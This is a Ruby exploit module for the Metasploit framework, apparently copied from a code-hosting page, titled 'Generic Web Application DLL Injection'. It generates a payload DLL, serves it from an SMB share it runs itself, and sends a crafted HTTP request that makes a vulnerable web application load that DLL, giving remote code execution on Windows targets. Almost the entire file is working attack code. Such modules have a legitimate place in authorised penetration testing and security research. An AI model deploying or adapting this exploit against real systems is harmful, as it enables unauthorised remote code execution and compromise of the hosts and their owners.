91 lines
2.6 KiB
Ruby
91 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::SMB::Server::Share
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include Msf::Exploit::EXE
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Generic Web Application DLL Injection',
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'Description' => %q{
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This is a general-purpose module for exploiting conditions where a HTTP request
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triggers a DLL load from an specified SMB share. This module serves payloads as
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DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would
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trigger the load of the DLL.
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},
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'Author' =>
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[
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'Matthew Hall <hallm[at]sec-1.com>'
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],
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'Platform' => 'win',
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'Privileged' => false,
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'Arch' => [ARCH_X86, ARCH_X86_64],
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'Stance' => Msf::Exploit::Stance::Aggressive,
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'Payload' =>
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{
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'Space' => 2048,
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'DisableNops' => true
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},
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'References' =>
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[
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['CWE', '427']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Targets' =>
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[
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[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
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[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
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],
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'DefaultTarget' => 0, # Default target is 32-bit as we usually inject into 32bit processes
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'DisclosureDate' => 'Mar 04 2015'
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))
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register_options(
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[
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OptString.new('FILE_NAME', [false, 'DLL File name to share (Default: random .dll)']),
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OptString.new('TARGETURI', [true, 'Path to vulnerable URI (The shared location will be added at the end)', '/cgi-bin/function.php?argument=' ]),
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OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
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], self.class)
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deregister_options('FILE_CONTENTS')
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end
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def setup
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super
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self.file_contents = generate_payload_dll
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self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
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print_status("File available on #{unc}...")
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end
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def primer
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sploit = target_uri.to_s
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sploit << unc
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print_status("#{peer} - Trying to ")
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send_request_raw({
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'method' => 'GET',
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'uri' => sploit
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}, 3)
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end
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def exploit
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begin
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Timeout.timeout(datastore['SMB_DELAY']) {super}
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rescue Timeout::Error
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# do nothing... just finish exploit and stop smb server...
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end
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end
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end
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